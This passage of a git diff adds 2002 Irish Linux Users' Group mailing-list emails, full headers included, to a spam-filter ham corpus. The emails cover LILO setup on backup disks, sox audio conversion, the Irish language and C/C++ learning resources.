from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UIcI211548 for + ; Tue, 30 Jul 2002 19:38:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA21967; Tue, 30 Jul 2002 19:35:39 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA21856 for + ; Tue, 30 Jul 2002 19:35:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from localhost (claymore [195.218.115.17]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id TAA13755 for ; Tue, + 30 Jul 2002 19:35:20 +0100 +Received: from 194.125.220.16 ( [194.125.220.16]) as user + rcunniff@mail.boxhost.net by webmail.gameshrine.com with HTTP; + Tue, 30 Jul 2002 19:35:20 +0100 +Message-Id: <1028054120.3d46dc68ce59c@webmail.gameshrine.com> +Date: Tue, 30 Jul 2002 19:35:20 +0100 +From: Ronan Cunniffe +To: ilug@linux.ie +Subject: Re: [ILUG] Installing lilo on another disk. +References: <20020730144740.GA3482@bagend.makalumedia.com> +In-Reply-To: <20020730144740.GA3482@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 194.125.220.16 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Niall O Broin : + +> I'm installing warm standby disks on a number of boxes. These disks will be +> the same size (sometimes bigger) than the main disk. The idea is that every +> night I'll rsync the partitions on the main disk to the standby disk so +> that +> in the case of disaster, the first port of call, before the tapes, is the +> standby disk. (We did consider running Linux md RAID on the disks but RAID +> gives you no protection against slips of the finger) + +Do I get beaten round the head for saying "floppy"? +Assuming the machines are networked, let each one send a copy of its kernel to +the others. If the drives are open-the-box-and-switch-cables, then you can +start dd'ing a floppy before you start. If the drives are in drawers, then this +might slow you down by all of 60 seconds. + +Alternatively, you could use netboot. No, I'm serious. Set the boot sequence +to first hard disk then network. Do NOT make any partition on the standby +active. Have a look at the etherboot package. One of the things it contains is +a pascal-ish language for writing boot menus. You can write a one-liner that +basically says "boot /dev/hda1" (or whatever, there's example code). IIRC, the +resulting "bootable image" is a whopping 4K. The downside is you'll need a +bootp and tftp server somewhere.... + +hth, +Ronan. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00165.73687c8da9e868166f3ca6b8e94073a8 b/bayes/spamham/easy_ham_2/00165.73687c8da9e868166f3ca6b8e94073a8 new file mode 100644 index 0000000..58e6e45 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00165.73687c8da9e868166f3ca6b8e94073a8 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Jul 30 19:52:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 46894440C8 + for ; Tue, 30 Jul 2002 14:52:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 19:52:44 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UIkl211868 for + ; Tue, 30 Jul 2002 19:46:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA22472; Tue, 30 Jul 2002 19:44:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id TAA22441 for ; Tue, + 30 Jul 2002 19:44:51 +0100 +Message-Id: <200207301844.TAA22441@lugh.tuatha.org> +Received: (qmail 76762 messnum 6734 invoked from + network[159.134.158.154/p154.as1.drogheda1.eircom.net]); 30 Jul 2002 + 18:44:20 -0000 +Received: from p154.as1.drogheda1.eircom.net (HELO there) + (159.134.158.154) by mail03.svc.cra.dublin.eircom.net (qp 76762) with SMTP; + 30 Jul 2002 18:44:20 -0000 +Content-Type: text/plain; charset="iso-8859-15" +From: John Gay +To: ilug@linux.ie +Date: Mon, 29 Jul 2002 22:51:44 +0100 +X-Mailer: KMail [version 1.3.2] +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] RE: When is a WAV not a WAV? ANS: It is?!? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Well, after playing around with these strange wav files I realised I didn't +even have sox installed. A quick apt-get install sox fixed this. + +Sox does reconise these AND even plays them in stereo! Following info from +the CD-Writing HOW-TO I used sox to convert the Sgt Pepper's wav to cdr and +wrote it to CD and now I've got a CD with ONE track that is the entire Sgt +Peppers Album! Not too sure how over 500M of cdr reduces to only 51M of wav +file but there it is?!?! + +And I've got loads of Beatles Albums and singles in these strange wav files! + +KEWL! Now I don't need to go buying them! + +Cheers, + + John Gay + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00166.8525e30f5b1574a4cb08d5fc8cb740e5 b/bayes/spamham/easy_ham_2/00166.8525e30f5b1574a4cb08d5fc8cb740e5 new file mode 100644 index 0000000..3622021 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00166.8525e30f5b1574a4cb08d5fc8cb740e5 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Wed Jul 31 10:07:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 09F06440A8 + for ; Wed, 31 Jul 2002 05:07:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 10:07:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V8xl212137 for + ; Wed, 31 Jul 2002 09:59:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA24776; Wed, 31 Jul 2002 09:56:24 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA24739 for ; Wed, + 31 Jul 2002 09:56:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Wed, 31 Jul 2002 09:56:07 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885521@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Patton, Tony'" , + Irish LUG +Subject: RE: [ILUG] Fwd: Linux Beer Hike +Date: Wed, 31 Jul 2002 09:55:40 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + JAA24739 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I am the evil one, you will respect my authoritai ;--) + +Sorry, but I couldn't resist, I must say that mails like this really impress +me. coz I have pretty much no Irish at all, although my wee Girl starts +Gaelscoil in September so there hope for me yet :) + +Much Respect to the Gaeilgors out there. + +CW + +------------------- +mar +> gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +> Gaeilge ar an Hike go bhfios duit? +> +> Go raibh maith agat as do chabhair, +> + +---->8 + +Can someone translate this for me? Lost all sense of Irish when moved +over the border about 10 years ago. Not by choice mind you :-( + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00167.47ad54094c0bcf05c679f058cf3599a3 b/bayes/spamham/easy_ham_2/00167.47ad54094c0bcf05c679f058cf3599a3 new file mode 100644 index 0000000..6ade1ae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00167.47ad54094c0bcf05c679f058cf3599a3 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Wed Jul 31 10:58:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AC5C14406D + for ; Wed, 31 Jul 2002 05:58:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 10:58:41 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VA0c215046 for + ; Wed, 31 Jul 2002 11:00:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA27163; Wed, 31 Jul 2002 10:58:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from cerberus.bluetree.ie (cerberus.bluetree.ie [62.17.24.129]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA27139 for + ; Wed, 31 Jul 2002 10:58:48 +0100 +Received: (from mail@localhost) by cerberus.bluetree.ie (8.11.6/8.11.6) id + g6V9wlJ16090 for ilug@linux.ie; Wed, 31 Jul 2002 10:58:47 +0100 +X-Virus-Checked: Checked on cerberus.bluetree.ie at Wed Jul 31 10:58:42 + IST 2002 +Received: from atlas.bluetree.ie (IDENT:root@atlas.bluetree.ie + [192.168.3.2]) by cerberus.bluetree.ie (8.11.6/8.11.6) with ESMTP id + g6V9wf816010 for ; Wed, 31 Jul 2002 10:58:41 +0100 +Received: from arafel (arafel.bluetree.ie [192.168.3.42]) by + atlas.bluetree.ie (8.11.6/8.11.6) with SMTP id g6V9wfd06462 for + ; Wed, 31 Jul 2002 10:58:41 +0100 +From: "Kenn Humborg" +To: +Subject: RE: [ILUG] Installing lilo on another disk. +Date: Wed, 31 Jul 2002 10:58:47 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +In-Reply-To: <20020730144740.GA3482@bagend.makalumedia.com> +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> I thought perhaps I should just do lilo -b /dev/hdb -r /mnt but I think +> that -b is analogous to the boot keyword in lilo.conf. Or will this just +> work automagically ? i.e. boot = /dev/hda tells lilo what numbers to poke +> where, and it figures out where the disk is from the -r ? + +That won't work like you want. You'll end up with a boot loader +on the backup disk that contains the 'physical' location of +the /boot/map file on the main disk. That won't necessarily +be the same as the backup disk. + +I can't think of a right way to do his with LILO. I've got +a similar seup on my home machine (rsync to a backup disk +every night), but I'll be pulling out the RH install CDs to +get LILO sorted if I have to do a disk swap. + +GRUB should be able to handle this no problem, since it +doesn't record sector numbers like LILO does. Not much help +for you though... + +Later, +Kenn + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00168.716b0a26aa6ae53b72d9d3c297390424 b/bayes/spamham/easy_ham_2/00168.716b0a26aa6ae53b72d9d3c297390424 new file mode 100644 index 0000000..caff2e5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00168.716b0a26aa6ae53b72d9d3c297390424 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Wed Jul 31 11:19:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F001440C8 + for ; Wed, 31 Jul 2002 06:19:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:19:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAEv215553 for + ; Wed, 31 Jul 2002 11:14:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA28005; Wed, 31 Jul 2002 11:13:15 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA27973 for + ; Wed, 31 Jul 2002 11:13:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.88]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003 for ; + Wed, 31 Jul 2002 04:20:20 -0600 +Received: (from redneck@localhost) by cdm01.deedsmiscentral.net + (8.11.6/8.11.6/ver) id g6VAhuq10699; Wed, 31 Jul 2002 04:43:56 -0600 +Date: Wed, 31 Jul 2002 04:43:56 -0600 +Message-Id: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> +X-No-Archive: yes +From: SoloCDM +Reply-To: , +To: ILUG (Request) +Subject: [ILUG] C++ and C Mailing Lists for Beginners and Advanced +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Are there any mailing lists (non-newsgroups) for C++ and C Beginners +and Advanced programmers? + +Links are welcomed! + +-- +Note: When you reply to this message, please include the mailing + list/newsgroup address and my email address in To:. + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00169.701617763832617a7d0d1dfbc08b8a0d b/bayes/spamham/easy_ham_2/00169.701617763832617a7d0d1dfbc08b8a0d new file mode 100644 index 0000000..5318412 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00169.701617763832617a7d0d1dfbc08b8a0d @@ -0,0 +1,95 @@ +From ilug-admin@linux.ie Wed Jul 31 11:29:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 09CB9440C8 + for ; Wed, 31 Jul 2002 06:29:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:29:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAUw216400 for + ; Wed, 31 Jul 2002 11:30:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA28810; Wed, 31 Jul 2002 11:28:14 +0100 +Received: from odin.isw.intel.com (swfdns01.isw.intel.com [192.55.37.143]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA28787 for + ; Wed, 31 Jul 2002 11:28:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host swfdns01.isw.intel.com + [192.55.37.143] claimed to be odin.isw.intel.com +Received: from swsmsxvs01.isw.intel.com (swsmsxvs01.isw.intel.com + [172.28.130.22]) by odin.isw.intel.com (8.11.6/8.11.6/d: solo.mc, + v 1.42 2002/05/23 22:21:11 root Exp $) with SMTP id g6VAS8h19974 for + ; Wed, 31 Jul 2002 10:28:08 GMT +Received: from swsmsx17.isw.intel.com ([172.28.130.21]) by + swsmsxvs01.isw.intel.com (NAVGW 2.5.2.11) with SMTP id + M2002073111265407820 ; Wed, 31 Jul 2002 11:26:54 +0100 +Received: by swsmsx17.isw.intel.com with Internet Mail Service + (5.5.2653.19) id ; Wed, 31 Jul 2002 11:32:03 +0100 +Message-Id: +From: "Satelle, StevenX" +To: "'Wynne, Conor'" , + "'Patton, Tony'" , + Irish LUG +Subject: RE: [ILUG] Fwd: Linux Beer Hike +Date: Wed, 31 Jul 2002 11:28:05 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + LAA28787 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +When I was in school they pushed Irish down my throat. I developed a hatred +for Irish. I did French for 3 years and German for 6 months, I could +(almost) hold a basic conversation. I am proud of the fact that I don't know +one word of Irish. + +-----Original Message----- +From: Wynne, Conor [mailto:conor_wynne@maxtor.com] +Sent: 31 July 2002 09:56 +To: 'Patton, Tony'; Irish LUG +Subject: RE: [ILUG] Fwd: Linux Beer Hike + + +I am the evil one, you will respect my authoritai ;--) + +Sorry, but I couldn't resist, I must say that mails like this really impress +me. coz I have pretty much no Irish at all, although my wee Girl starts +Gaelscoil in September so there hope for me yet :) + +Much Respect to the Gaeilgors out there. + +CW + +------------------- +mar +> gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +> Gaeilge ar an Hike go bhfios duit? +> +> Go raibh maith agat as do chabhair, +> + +---->8 + +Can someone translate this for me? Lost all sense of Irish when moved +over the border about 10 years ago. Not by choice mind you :-( + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00170.2368261c3f59066fc1b0c27c5495113e b/bayes/spamham/easy_ham_2/00170.2368261c3f59066fc1b0c27c5495113e new file mode 100644 index 0000000..cf85572 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00170.2368261c3f59066fc1b0c27c5495113e @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Wed Jul 31 11:50:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 427F1440C8 + for ; Wed, 31 Jul 2002 06:50:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:50:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAhc216986 for + ; Wed, 31 Jul 2002 11:43:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA29700; Wed, 31 Jul 2002 11:40:54 +0100 +Received: from mel-rto4.wanadoo.fr (smtp-out-4.wanadoo.fr [193.252.19.23]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA29648 for + ; Wed, 31 Jul 2002 11:40:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-4.wanadoo.fr + [193.252.19.23] claimed to be mel-rto4.wanadoo.fr +Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto4.wanadoo.fr + (6.5.007) id 3D18589F01290CA1 for ilug@linux.ie; Wed, 31 Jul 2002 12:40:11 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta7.wanadoo.fr + (6.5.007) id 3D2A78FA00A17C9A for ilug@linux.ie; Wed, 31 Jul 2002 12:40:11 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17ZqyR-00030J-00 for ; Wed, 31 Jul 2002 12:44:59 +0200 +Date: Wed, 31 Jul 2002 12:44:59 +0200 +From: David Neary +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020731124459.A11532@wanadoo.fr> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +Content-Transfer-Encoding: 8bit +In-Reply-To: +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Satelle, StevenX wrote: +> When I was in school they pushed Irish down my throat. I developed a hatred +> for Irish. I did French for 3 years and German for 6 months, I could +> (almost) hold a basic conversation. I am proud of the fact that I don't know +> one word of Irish. + +Well, I'm hardly a Gaeilgóir, but in general I wouldn't consider +either ability or inability in a language something to be proud +of... maybe it's just me, but I'm not proud that I can't speak +Italian, no more than I'm proud that I can speak French or +English. + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00171.0982e9adc7d4a88cda1c9b6d8b469451 b/bayes/spamham/easy_ham_2/00171.0982e9adc7d4a88cda1c9b6d8b469451 new file mode 100644 index 0000000..82bd818 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00171.0982e9adc7d4a88cda1c9b6d8b469451 @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Wed Jul 31 11:50:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 42D1D440CD + for ; Wed, 31 Jul 2002 06:50:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:50:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAnA217185 for + ; Wed, 31 Jul 2002 11:49:10 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30292; Wed, 31 Jul 2002 11:47:18 +0100 +Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA30262 for + ; Wed, 31 Jul 2002 11:47:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-6.wanadoo.fr + [193.252.19.25] claimed to be mel-rto6.wanadoo.fr +Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto6.wanadoo.fr + (6.5.007) id 3D186837012959F7 for ilug@linux.ie; Wed, 31 Jul 2002 12:46:41 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta9.wanadoo.fr + (6.5.007) id 3D2A791A00A93060 for ilug@linux.ie; Wed, 31 Jul 2002 12:46:41 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17Zr4j-00031O-00 for ; Wed, 31 Jul 2002 12:51:29 +0200 +Date: Wed, 31 Jul 2002 12:51:29 +0200 +From: David Neary +To: ILUG +Subject: Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced +Message-Id: <20020731125129.B11532@wanadoo.fr> +References: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +SoloCDM wrote: +> Are there any mailing lists (non-newsgroups) for C++ and C Beginners +> and Advanced programmers? + +Try the following newsgroups - +Beginners: +news:comp.lang.learn.c-c++ + +More advanced: +news:comp.lang.c +news:comp.lang.c++ +news:comp.lang.c.moderated + +Also, you should keep a bookmark pointing at the comp.lang.c FAQ at +http://www.eskimo.com/~scs/C-faq/top.html + +For tutorials, the guy who maintains the clc FAQ (Steve Summit) +has a tutorial - http://www.eskimo.com/~scs/cclass/notes/top.html +Also you could have a look at the excercises he poses - all +linked from http://www.eskimo.com/~scs/cclass/cclass.html + +For C++, I would guess that the comp.lang.c++ FAQ is a good place +to start - they're likely to have links to suggested reading +material. + +If you're going to do any amount of C programming, you should +think about getting K&R2 (The C programming language, 2nd +edition, by Kernighan and Ritchie), for C++ the equivalent book +is Stroustrup. Although the C++ book is a lot bigger :) + +Hope this helps, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00172.85ee50d59c5e7c74419b456e4fd0a09b b/bayes/spamham/easy_ham_2/00172.85ee50d59c5e7c74419b456e4fd0a09b new file mode 100644 index 0000000..25c2244 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00172.85ee50d59c5e7c74419b456e4fd0a09b @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Wed Jul 31 11:50:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CCAD3440C9 + for ; Wed, 31 Jul 2002 06:50:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 11:50:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAjO217063 for + ; Wed, 31 Jul 2002 11:45:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA29987; Wed, 31 Jul 2002 11:43:55 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA29958 for ; Wed, + 31 Jul 2002 11:43:49 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id LAA29865 for ; Wed, + 31 Jul 2002 11:43:19 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6VAhn623280 for ilug@linux.ie; Wed, 31 Jul 2002 11:43:49 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 31 Jul 2002 11:43:49 +0100 +From: "John P. Looney" +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020731104349.GS4594@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 11:28:05AM +0100, Satelle, StevenX mentioned: +> When I was in school they pushed Irish down my throat. I developed a hatred +> for Irish. I did French for 3 years and German for 6 months, I could +> (almost) hold a basic conversation. I am proud of the fact that I don't know +> one word of Irish. + + Sad, that. + + I felt like that till recently, but now wish that it wasn't rammed down +my throat like worming tablets. If they hadn't, it is very possible I'd 